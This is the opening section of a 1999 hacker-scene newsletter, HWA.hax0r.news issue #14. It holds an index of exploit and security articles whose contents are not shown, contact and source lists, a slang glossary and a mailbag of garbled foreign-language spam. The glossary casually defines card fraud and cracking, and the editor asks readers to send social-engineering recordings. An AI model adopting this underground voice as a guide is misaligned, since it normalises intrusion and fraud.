    [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
  ==========================================================================
  =                       <=-[ HWA.hax0r.news ]-=>                         =
  ==========================================================================
    [=HWA'99=]                         Number 14 Volume 1 1999 April     99
  ==========================================================================
    [                     61:20:6B:69:64:20:63:6F:75:                    ]
    [               6C:64:20:62:72:65:61:6B:20:74:68:69:73:              ]
    [              20:22:65:6E:63:72:79:70:74:69:6F:6E:22:!              ]        
  ==========================================================================
  
  
  
  
             IRL i'm a sarcastic script on irc....i'm a dumbass ;) 
                                             - D----Y
   
 
  Note that some stuff may not display correctly as I did not fully convert
  all the text contained in this file to html, it is recommended you read 
  this file in standard text mode...
  
  
  
                         4445494c0494C554E4C554E 

  =------------------------------------------------------------------------=

  
  =------------------------------------------------------------------------=


   Synopsis 
   ---------
   
   The purpose of this newsletter is to 'digest' current events of interest
   that affect the online underground and netizens in general. This includes
   coverage of general security issues, hacks, exploits, underground news
   and anything else I think is worthy of a look see. (remember i'm doing
   this for me, not you, the fact some people happen to get a kick/use
   out of it is of secondary importance).

    This list is NOT meant as a replacement for, nor to compete with, the
   likes of publications such as CuD or PHRACK or with news sites such as
   AntiOnline, the Hacker News Network (HNN) or mailing lists such as
   BUGTRAQ or ISN nor could any other 'digest' of this type do so.

    It *is* intended  however, to  compliment such material and provide a
   reference to those who follow the culture by keeping tabs on as many
   sources as possible and providing links to further info, its a labour
   of love and will be continued for as long as I feel like it, i'm not
   motivated by dollars or the illusion of fame, did you ever notice how
   the most famous/infamous hackers are the ones that get caught? there's
   a lot to be said for remaining just outside the circle... <g>
   
   

   @HWA

   =-----------------------------------------------------------------------=

                     Welcome to HWA.hax0r.news ... #14

   =-----------------------------------------------------------------------=

          

    *******************************************************************
    ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
    ***                                                             ***
    *** please join to discuss or impart news on techno/phac scene  ***
    *** stuff or just to hang out ... someone is usually around 24/7***
    ***                                                             ***
    *** Note that the channel isn't there to entertain you its for  ***
    *** you to talk to us and impart news, if you're looking for fun***
    *** then do NOT join our channel try #weirdwigs or something... ***
    *** we're not #chatzone or #hack                                ***
    ***                                                             ***
    *******************************************************************


  =-------------------------------------------------------------------------=

  Issue #14


  =--------------------------------------------------------------------------=



  
  [ INDEX ]
  =--------------------------------------------------------------------------=
    Key     Content                                                         
  =--------------------------------------------------------------------------=
 
    00.0  .. COPYRIGHTS ......................................................
    00.1  .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
    00.2  .. SOURCES .........................................................
    00.3  .. THIS IS WHO WE ARE ..............................................
    00.4  .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
    00.5  .. THE HWA_FAQ V1.0 ................................................

    01.0  .. GREETS ..........................................................
     01.1 .. Last minute stuff, rumours, newsbytes ...........................
     01.2 .. Mailbag .........................................................
    02.0  .. From the Editor.................................................. 
    03.0  .. Holes Found in Multiple Anonymiser Packages .....................
    04.0  .. Some musings on the Melissa 'virus' by WHiTe VaMPiRe ............        
    05.0  .. So much for your radio hobby ....................................
    06.0  .. ICQ99 Vulnerabilities still with us .............................
    07.0  .. [ISN] "Hacking to become a crime" ...............................      
    08.0  .. [ISN] Client Security: You've got armored trucks, but what about 
                   the pick pockets? - Chris Wysopal, The l0pht...............
    09.0  .. [ISN] Strong privacy software for Linux available worldwide......
    10.0  .. [ISN] Security Search engine back online.........................
    11.0  .. [ISN] Smart Card Forum privacy symposium ........................
    12.0  .. HP advisory Security Vulnerability in MPEi/X debug...............
    13.0  .. Cisco security advisory Input Access List Leakage with NAT.......
    14.0  .. Aptivas ship with added bonus, the CIH virus.....................
    15.0  .. Rocketmail vulnerabilty on inactive accounts.....................
    16.0  .. Yahoo "hack" faked?..............................................
    17.0  .. 'Sorceror's Apprentice' bug in Outlook...........................
    18.0  .. Aussie password thief pleads guilty..............................
    19.0  .. Echelon is fishy says ACLU.......................................
    20.0  .. Network-based intrusion detection systems are about to stop crying wolf
    21.0  .. IE5 fun..........................................................
    22.0  .. Renegade Judge...................................................
    23.0  .. Webcom Guestbooks vulnerabilities................................
    24.0  .. Achtung! No piracy here!.........................................
    25.0  .. [BUGTRAQ] Bug in Winroute 3.04g .................................
    26.0  .. [BUGTRAQ] Patrol security bugs ..................................
    27.0  .. [BUGTRAQ] kernel panic or hang in name lookup (NetBSD)...........
    28.0  .. cgichck1.3 scans for 41 known vulnerabilities by su1d sh3ll //UnlG 1999
    29.0  .. poink.c new win9x/nt arp table exploit DoS.......................
     29.1 .. winarp.c (winarps.c) exploits the arp table bug..................
     29.2 .. The new win arp bug - original message ..........................   
    30.0  .. NT Message box DoS .............................................. 
    31.0  .. nmap wrapper for stealthier scans + enhanced logging capabilities
    32.0  .. How to handle and detect network probes..........................
    33.0  .. [ISN] Civilians go online to fight...............................
    34.0  .. [ISN] Video cameras and microphones vulnerable to hackers .......
    35.0  .. Cryptogram newsletter............................................             
    36.0  .. [BUGTRAQ] default passwords on ADSL routers .....................
    37.0  .. [BUGTRAQ] Another bug in Midnight Commander/crontab..............
    38.0  .. NFR releases Back Officer Friendly desktop IDS...................
    =--------------------------------------------------------------------------=   
    AD.S  .. Post your site ads or etc here, if you can offer something in return
             thats tres cool, if not we'll consider ur ad anyways so send it in.
             ads for other zines are ok too btw just mention us in yours, please
             remember to include links and an email contact. Corporate ads will
             be considered also and if your company wishes to donate to or 
             participate in the upcoming Canc0n99 event send in your suggestions
             and ads now...n.b date and time may be pushed back join mailing list
             for up to date information.......................................
             Current dates: Aug19th-22nd Niagara Falls...    .................

    HA.HA  .. Humour and puzzles  ............................................
              
              Hey You!........................................................
              =------=........................................................
              
              Send in humour for this section! I need a laugh and its hard to
              find good stuff... ;)...........................................

    HOW.TO .. "How to hack" by our illustrious editor.........................
    SITE.1 .. Featured site, .................................................
     H.W   .. Hacked Websites  ...............................................
     A.0   .. APPENDICES......................................................
     A.1   .. PHACVW linx and references......................................
 
  =--------------------------------------------------------------------------=
     
     @HWA'99

     
  00.0  (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
     OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
     WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
     (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
     READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).

     Important semi-legalese and license to redistribute:

     YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
     AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
     ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
     IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
     APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
     IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
     ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
     ME PRIVATELY current email cruciphux@dok.org

     THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
     WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
     THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:

     I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
     AND REDISTRIBUTE/MIRROR. - EoD


     Although this file and all future issues are now copyright, some of
    the content holds its  own copyright and these are printed and
    respected. News is news so i'll print any and all news but will quote
    sources when the source is known, if its good enough for CNN its good
    enough for me. And i'm doing it for free on my own time so pfffft. :)

    No monies are made or sought through the distribution of this material.
    If you have a problem or concern email me and we'll discuss it.

    cruciphux@dok.org

    Cruciphux [C*:.]



  00.1  CONTACT INFORMATION AND MAIL DROP
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


     Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
    Canada / North America (hell even if you are inside ..) and wish to
    send printed matter like newspaper clippings a subscription to your
    cool foreign hacking zine or photos, small non-explosive packages
    or sensitive information etc etc well, now you can. (w00t) please
    no more inflatable sheep or plastic dog droppings, or fake vomit
    thanks.

    Send all goodies to:

	    HWA NEWS
	    P.O BOX 44118
	    370 MAIN ST. NORTH
	    BRAMPTON, ONTARIO
	    CANADA
	    L6V 4H5

    WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
    ~~~~~~~  reading this from some interesting places, make my day and get a
             mention in the zine, send in a postcard, I realize that some places
             it is cost prohibitive but if you have the time and money be a cool
             dude / gal and send a poor guy a postcard preferably one that has some
             scenery from your place of residence for my collection, I collect stamps
             too so you kill two birds with one stone by being cool and mailing in a
             postcard, return address not necessary, just a  "hey guys being cool in
             Bahrain, take it easy" will do ... ;-) thanx.



    Ideas for interesting 'stuff' to send in apart from news:

    - Photo copies of old system manual front pages (optionally signed by you) ;-)
    - Photos of yourself, your mom, sister, dog and or cat in a NON
      compromising position plz I don't want pr0n. <g>
    - Picture postcards
    - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
      tapes with hack/security related archives, logs, irc logs etc on em.
    - audio or video cassettes of yourself/others etc of interesting phone
      fun or social engineering examples or transcripts thereof.

    If you still can't think of anything you're probably not that interesting
    a person after all so don't worry about it <BeG>

    Our current email:

    Submissions/zine gossip.....: hwa@press.usmc.net
    Private email to editor.....: cruciphux@dok.org
    Distribution/Website........: sas72@usa.net

    @HWA



  00.2  Sources ***
        ~~~~~~~~~~~

     Sources can be some, all, or none of the following (by no means complete
    nor listed in any degree of importance) Unless otherwise noted, like msgs
    from lists or news from other sites, articles and information is compiled
    and or sourced by Cruciphux no copyright claimed.

    HiR:Hackers Information Report... <a href="http://axon.jccc.net/hir/">http://axon.jccc.net/hir/</a>
    News & I/O zine ................. <a href="http://www.antionline.com/">http://www.antionline.com/</a>
    Back Orifice/cDc..................<a href="http://www.cultdeadcow.com/">http://www.cultdeadcow.com/</a>
    News site (HNN) .....,............<a href="http://www.hackernews.com/">http://www.hackernews.com/</a>
    Help Net Security.................<a href="http://net-security.org/">http://net-security.org/</a>
    News,Advisories,++ ...............<a href="http://www.l0pht.com/">http://www.l0pht.com/</a>
    NewsTrolls (HNN)..................<a href="http://www.newstrolls.com/">http://www.newstrolls.com/</a>
    News + Exploit archive ...........<a href="http://www.rootshell.com/beta/news.html">http://www.rootshell.com/beta/news.html</a>
    CuD ..............................<a href="http://www.soci.niu.edu/~cudigest">http://www.soci.niu.edu/~cudigest</a>
    News site+........................<a href="http://www.zdnet.com/">http://www.zdnet.com/</a>
    News site+........................<a href="http://www.gammaforce.org/">http://www.gammaforce.org/</a>
    News site+........................<a href="http://www.projectgamma.com/">http://www.projectgamma.com/</a>


    +Various mailing lists and some newsgroups, such as ...
    +other sites available on the HNN affiliates page, please see
     http://www.hackernews.com/affiliates.html as they seem to be popping up
     rather frequently ...

    
    http://www.the-project.org/ .. IRC list/admin archives
    http://www.anchordesk.com/  .. Jesse Berst's AnchorDesk

    alt.hackers.malicious
    alt.hackers
    alt.2600
    BUGTRAQ
    ISN security mailing list
    ntbugtraq
    <+others>

    NEWS Agencies, News search engines etc:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    http://www.cnn.com/SEARCH/
    <a href="http://www.cnn.com/SEARCH/">Link</a>
    
    http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
    <a href="http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0">Link</a>
    
    http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
    <a href="http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack">Link</a>
    
    http://www.ottawacitizen.com/business/
    <a href="http://www.ottawacitizen.com/business/">Link</a>
    
    http://search.yahoo.com.sg/search/news_sg?p=hack
    <a href="http://search.yahoo.com.sg/search/news_sg?p=hack">Link</a>
    
    http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
    <a href="http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack">Link</a>
    
    http://www.zdnet.com/zdtv/cybercrime/
    <a href="http://www.zdnet.com/zdtv/cybercrime/">Link</a>
    
    http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
    <a href="http://www.zdnet.com/zdtv/cybercrime/chaostheory/">Link</a>
    
    NOTE: See appendices for details on other links.
    


    http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
    <a href="http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm">Link</a>
    
    http://freespeech.org/eua/ Electronic Underground Affiliation
    <a href="http://freespeech.org/eua/">Link</a>
    
    http://ech0.cjb.net ech0 Security
    <a href="http://ech0.cjb.net ech0 Security">Link</a>
    
    http://net-security.org Net Security
    <a href="http://net-security.org">Link</a>  
    ...


    Submissions/Hints/Tips/Etc
    ~~~~~~~~~~~~~~~~~~~~~~~~~~

    All submissions that are `published' are printed with the credits
    you provide, if no response is received by a week or two it is assumed
    that you don't care wether the article/email is to be used in an issue
    or not and may be used at my discretion.

    Looking for:

    Good news sites that are not already listed here OR on the HNN affiliates
    page at http://www.hackernews.com/affiliates.html

    Magazines (complete or just the articles) of breaking sekurity or hacker
    activity in your region, this includes telephone phraud and any other
    technological use, abuse hole or cool thingy. ;-) cut em out and send it
    to the drop box.


    - Ed

    Mailing List Subscription Info   (Far from complete)         Feb 1999
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~~~~~~~~~~~~         ~~~~~~~~

    ISS Security mailing list faq : http://www.iss.net/iss/maillist.html


    THE MOST READ:

    BUGTRAQ - Subscription info
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~

    What is Bugtraq?

    Bugtraq is a full-disclosure UNIX security mailing list, (see the info
    file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
    bugtraq, send mail to listserv@netspace.org containing the message body
    subscribe bugtraq. I've been archiving this list on the web since late
    1993. It is searchable with glimpse and archived on-the-fly with hypermail.

    Searchable Hypermail Index;

          http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html

          <a href="http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html">Link</a>

    About the Bugtraq mailing list
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    The following comes from Bugtraq's info file:

    This list is for *detailed* discussion of UNIX security holes: what they are,
    how to exploit, and what to do to fix them.

    This list is not intended to be about cracking systems or exploiting their
    vulnerabilities. It is about defining, recognizing, and preventing use of
    security holes and risks.

    Please refrain from posting one-line messages or messages that do not contain
    any substance that can relate to this list`s charter.

    I will allow certain informational posts regarding updates to security tools,
    documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
    on this list.

    Please follow the below guidelines on what kind of information should be posted
    to the Bugtraq list:

    + Information on Unix related security holes/backdoors (past and present)
    + Exploit programs, scripts or detailed processes about the above
    + Patches, workarounds, fixes
    + Announcements, advisories or warnings
    + Ideas, future plans or current works dealing with Unix security
    + Information material regarding vendor contacts and procedures
    + Individual experiences in dealing with above vendors or security organizations
    + Incident advisories or informational reporting

    Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq
    reflector address if the response does not meet the above criteria.

    Remember: YOYOW.

    You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of
    those words without your permission in any medium outside the distribution of this list may be challenged by you, the author.

    For questions or comments, please mail me:
    chasin@crimelab.com (Scott Chasin)


    
    Crypto-Gram
    ~~~~~~~~~~~

       CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
      insights, and commentaries on cryptography and computer security.

      To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
      blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe,
      visit http://www.counterpane.com/unsubform.html.  Back issues are available
      on http://www.counterpane.com.

       CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of
      Counterpane Systems, the author of "Applied Cryptography," and an inventor
      of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of
      the International Association for Cryptologic Research, EPIC, and VTW.  He
      is a frequent writer and lecturer on cryptography.


    CUD Computer Underground Digest
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    This info directly from their latest ish:

    Computer underground Digest    Sun  14 Feb, 1999   Volume 11 : Issue 09
     
                      ISSN  1004-042X

       Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
       News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
       Archivist: Brendan Kehoe
       Poof Reader:   Etaion Shrdlu, Jr.
       Shadow-Archivists: Dan Carosone / Paul Southworth
                          Ralph Sims / Jyrki Kuoppala
                          Ian Dickinson
       Cu Digest Homepage: http://www.soci.niu.edu/~cudigest



    [ISN] Security list
    ~~~~~~~~~~~~~~~~~~~
    This is a low volume list with lots of informative articles, if I had my
    way i'd reproduce them ALL here, well almost all .... ;-) - Ed


    Subscribe: mail majordomo@repsec.com with "subscribe isn".



    @HWA


  00.3  THIS IS WHO WE ARE
        ~~~~~~~~~~~~~~~~~~
 
      Some HWA members and Legacy staff
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      cruciphux@dok.org.........: currently active/editorial
      darkshadez@ThePentagon.com: currently active/man in black
      fprophet@dok.org..........: currently active/IRC+ man in black
      sas72@usa.net ............. currently active/IRC+ distribution
      vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
      dicentra...(email withheld): IRC+ grrl in black


      Foreign Correspondants/affiliate members
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      ATTENTION: All foreign correspondants please check in or be removed by next
      issue  I need  your current emails since contact info was recently lost in a
      HD mishap and i'm not carrying any deadweight. Plus we need more people sending
      in info, my apologies for not getting back to you if you sent in January I lost
      it, please resend.



       N0Portz ..........................: Australia
       Qubik ............................: United Kingdom
       system error .....................: Indonesia
       Wile (wile coyote) ...............: Japan/the East
       Ruffneck  ........................: Netherlands/Holland

       And unofficially yet contributing too much to ignore ;)

       Spikeman .........................: World media

       Please send in your sites for inclusion here if you haven't already
       also if you want your emails listed send me a note ... - Ed

      http://www.genocide2600.com/~spikeman/  .. Spikeman's DoS and protection site
      http://www.hackerlink.or.id/  ............ System Error's site (in Indonesian) 
       

       *******************************************************************
       ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
       *******************************************************************

    :-p


    1. We do NOT work for the government in any shape or form.Unless you count paying
       taxes ... in which case we work for the gov't in a BIG WAY. :-/

    2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
       events its a good idea to check out issue #1 at least and possibly also the
       Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...


    @HWA



  00.4  Whats in a name? why HWA.hax0r.news??
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                             
      
      Well what does HWA stand for? never mind if you ever find out I may
     have to get those hax0rs from 'Hackers' or the Pretorians after you.

     In case you couldn't figure it out hax0r is "new skewl" and although
     it is laughed at, shunned, or even pidgeon holed with those 'dumb
     leet (l33t?) dewds' <see article in issue #4> this is the state
     of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
     up  and comers, i'd highly recommend you get that book. Its almost
     like  buying a clue. Anyway..on with the show .. - Editorial staff


     @HWA

  00.5  HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Also released in issue #3. (revised) check that issue for the faq
    it won't be reprinted unless changed in a big way with the exception
    of the following excerpt from the FAQ, included to assist first time
    readers:

    Some of the stuff related to personal useage and use in this zine are
    listed below: Some are very useful, others attempt to deny the any possible
    attempts at eschewing obfuscation by obsucuring their actual definitions.

    @HWA   - see EoA  ;-)

    !=     - Mathematical notation "is not equal to" or "does not equal"
             ASC(247)  "wavey equals" sign means "almost equal" to. If written
             an =/= (equals sign with a slash thru it) also means !=, =< is Equal
             to or less than and =>  is equal to or greater than (etc, this aint
             fucking grade school, cripes, don't believe I just typed all that..)

    AAM    - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)

    AOL    - A great deal of people that got ripped off for net access by a huge
             clueless isp with sekurity that you can drive buses through, we're
             not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
             least they could try leasing one??

   *CC     - 1 - Credit Card (as in phraud)
             2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's

    CCC    - Chaos Computer Club (Germany)

   *CON    - Conference, a place hackers crackers and hax0rs among others go to swap
             ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
             watch videos and seminars, get drunk, listen to speakers, and last but
             not least, get drunk.
   *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
                 speak he's the guy that breaks into systems and is often (but by no
                 means always) a "script kiddie" see pheer
              2 . An edible biscuit usually crappy tasting without a nice dip, I like
                  jalapeno pepper dip or chives sour cream and onion, yum - Ed

    Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
              Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
              ebonics, speaking in a dark tongue ... being ereet, see pheer

    EoC    - End of Commentary

    EoA    - End of Article or more commonly @HWA

    EoF    - End of file

    EoD    - End of diatribe (AOL'ers: look it up)

    FUD    - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
            usually in general media articles not high brow articles such as ours or other
            HNN affiliates ;)

    du0d   - a small furry animal that scurries over keyboards causing people to type
             weird crap on irc, hence when someone says something stupid or off topic
             'du0d wtf are you talkin about' may be used.

   *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R

   *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
            define, I think it is best defined as pop culture's view on The Hacker ala
            movies such as well erhm "Hackers" and The Net etc... usually used by "real"
            hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
            some coffee?' or can you hax0r some bread on the way to the table please?'

            2 - A tool for cutting sheet metal.

    HHN    - Maybe a bit confusing with HNN but we did spring to life around the same
             time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
             noun means the hackernews site proper. k? k. ;&

    HNN    - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html

    J00    - "you"(as in j00 are OWN3D du0d) - see 0wn3d

    MFI/MOI- Missing on/from IRC

    NFC   - Depends on context: No Further Comment or No Fucking Comment

    NFR   - Network Flight Recorder (Do a websearch) see 0wn3d

    NFW   - No fuckin'way

   *0WN3D - You are cracked and owned by an elite entity see pheer
   *OFCS  - Oh for christ's sakes

    PHACV - And variations of same <coff>
            Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare

          Alternates: H - hacking, hacktivist
                      C - Cracking <software>
                      C - Cracking <systems hacking>
                      V - Virus
                      W - Warfare <cyberwarfare usually as in Jihad>
                      A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
                      P - Phreaking, "telephone hacking" PHone fREAKs ...
                     CT - Cyber Terrorism

   *PHEER -  This is what you do when an ereet or elite person is in your presence
            see 0wn3d

   *RTFM  - Read the fucking manual - not always applicable since some manuals are
            pure shit but if the answer you seek is indeed in the manual then you
            should have RTFM you dumb ass.

    TBC   - To Be Continued also 2bc (usually followed by ellipses...) :^0

    TBA   - To Be Arranged/To Be Announced also 2ba

    TFS   - Tough fucking shit.

   *w00t  - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
            from the underground masses. also "w00ten" <sic>

            2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)

    *wtf  - what the fuck

    *ZEN  - The state you reach when you *think* you know everything (but really don't)
            usually shortly after reaching the ZEN like state something will break that
            you just 'fixed' or tweaked.
            
     @HWA            
     
     
                            -=-    :.    .:        -=-
                            
                            
                            

  01.0  Greets!?!?! yeah greets! w0w huh. - Ed
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Thanks to all in the community for their support and interest but i'd
     like to see more reader input, help me out here, whats good, what sucks
     etc, not that I guarantee i'll take any notice mind you, but send in
     your thoughts anyway.


       * all the people who sent in cool emails and support
       
     FProphet           Pyra           Pasty Drone
     TwstdPair          TheDuece       _NeM_
     D----Y             RTFM99         Kevin Mitnick (watch yer back)
     ypwitch            kimmie         vexxation
     hunchback mack     sAs72          Spikeman
     
     and the #innerpulse, #hns crew and some inhabitants of #leetchans .... 
     although I use the term 'leet loosely these days, <k0ff><snicker>  ;)
       
     
     kewl sites:

     + http://www.l0pht.com/
     + http://www.2600.com/
     + http://www.genocide2600.com/
     + http://www.genocide2600.com/~spikeman/
     + http://www.genocide2600.com/~tattooman/
     + http://www.hackernews.com/ (Went online same time we started issue 1!)
     + http://www.net-security.org/
     + http://www.slashdot.org/
     + http://www.freshmeat.net/

     @HWA


  01.1  Last minute stuff, rumours and newsbytes
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       "What is popular isn't always right, and what is right isn't
         always popular..."
                           - FProphet '99
                           
                         
                           
                           
     

    +++ When was the last time you backed up your important data?
    
    

     ++  ANOTHER PRIVACY HOLE IN IE 5.0? (TECH. 3:00 am)
         http://www.wired.com/news/news/email/explode-infobeat/technology/story/19160.html


         When users bookmark a Web page with Internet Explorer 5.0, a
         new feature in the software notifies the site. Consumer
         advocates say software makers need to get a grip on the
         privacy implications of their code. By Chris Oakes.

    
    ++   ARREST MADE IN PAIRGAIN RUMOR (BUS. Thursday)
         http://www.wired.com/news/news/email/explode-infobeat/business/story/19155.html


         Authorities arrest a 25-year-old man in connection with a
         fake news story posted on the Web last week that sent
         PairGain's stock soaring.
           . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .


     ++  EMPLOYERS READ WORKERS' EMAIL (BUS. Thursday)
         http://www.wired.com/news/news/email/explode-infobeat/business/story/19152.html


         Almost half of major US firms monitor employees' phone calls,
         email, and computer files, according to a survey. The most
         common form of surveillance: storing and reading office
         email. By Joanna Glasner.

     
     Mucho thanks to Spikeman for directing his efforts to our cause of bringing
     you the news we want to read about in a timely manner ... - Ed

     @HWA

 01.2 MAILBAG - email and posts from the message board worthy of a read
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       This appears to be spam from the url that is provided but it sure is frustrating
       receiving mail like this and not being able to convert it to English...
       
       
       X-Mailer: Aureate Group Mail Free Edition - http://software.aureate.com 
       From: master <kurotools@kurotools.com> 
       To: <hwa@press.usmc.net> 
       Date: Fri, 16 Apr 1999 19:25:00 +0900 
       Subject: ¾È³çÇÏ¼¼¿ä »çÀÌ¹ö¼¥ÀÔ´Ï´Ù. 
       Reply-To: kurotools@kurotools.com 
       X-Priority: 3 
       MIME-Version: 1.0 
       Content-Type: text/plain; charset=us-ascii 
       Content-Transfer-Encoding: 7bit 
       
       
       ¾È³çÇÏ¼¼¿ä »çÀÌ¹ö¼¥ÀÔ´Ï´Ù.
       ±×µ¿¾È ÀúÈñ »çÀÌ¹ö¼¥À» ÀÌ¿ëÇØÁÖ¼Å¼­ °¨»çÇÕ´Ï´Ù.
       ÀÌ·¸°Ô ºÒ¼÷ ÀÌ¸ÞÀÏÀ» º¸³»°Ô µÇ¾î ÁË¼ÛÇÕ´Ï´Ù.
       ´Ù¸§ÀÌ ¾Æ´Ï¿À¶ó ÀÌ¹ø¿¡ ÀúÈñ »çÀÌ¹ö¼¥ http://www.cybershop.co.kr ÀÌ
       »õ´ÜÀåÀ» ÇÏ¿´½À´Ï´Ù.
       ÄÄÇ»ÅÍ ÄÚ³Ê´Â ¿ë»êÀÇ Àú·ÅÇÑ µô·¯¸¦ ÀÔÁ¡½ÃÄÑ
       °¡°Ý°æÀï·ÂÀ» ³ô¿´°í ÀüÀÚ,Àü±â,»ýÈ°¿ëÇ°µîÀº ½Ç»ýÈ°¿¡ 
       ²ÀÇÊ¿äÇÑ Á¦Ç°À¸·Î »õ´ÜÀåÀ» ÇÏ¿´½À´Ï´Ù.
       ÇÑ¹ø ¿À¼Å¼­ µÑ·¯º¸½Ã°í ¸¹Àº Á¶¾ðÀ» ¹Ù¶ø´Ï´Ù.
       °¨»çÇÕ´Ï
       
       ...
       
       Date: Wed, 7 Apr 1999 00:51:54 -0400 (EDT) 
       From: Bonnie <learning_bl@yahoo.com> 
       To: <hwa@press.usmc.net> 
       Message-Id: <419.436257.51610637learning_bl@yahoo.com> 
       Subject: °ê »Ú ¾Ð ²ß ªk 
       Mime-Version: 1.0 
       Content-Type: text/plain; charset="us-ascii" 
       Content-Transfer-Encoding: 7bit 
       
       
       
       ¦p§A¯à ¦b¥b¤p®É¤º·Ç½T¦a°O±o¤@¦Ê­Ó¼Æ¥Ø¦r¤Î¨ä¥¿½T¦ì¸m¡A·í¾Ç²ß¨ä¥¦ª¾ÃÑ®É¡A   °Z«D
       »´¦Ó©ö
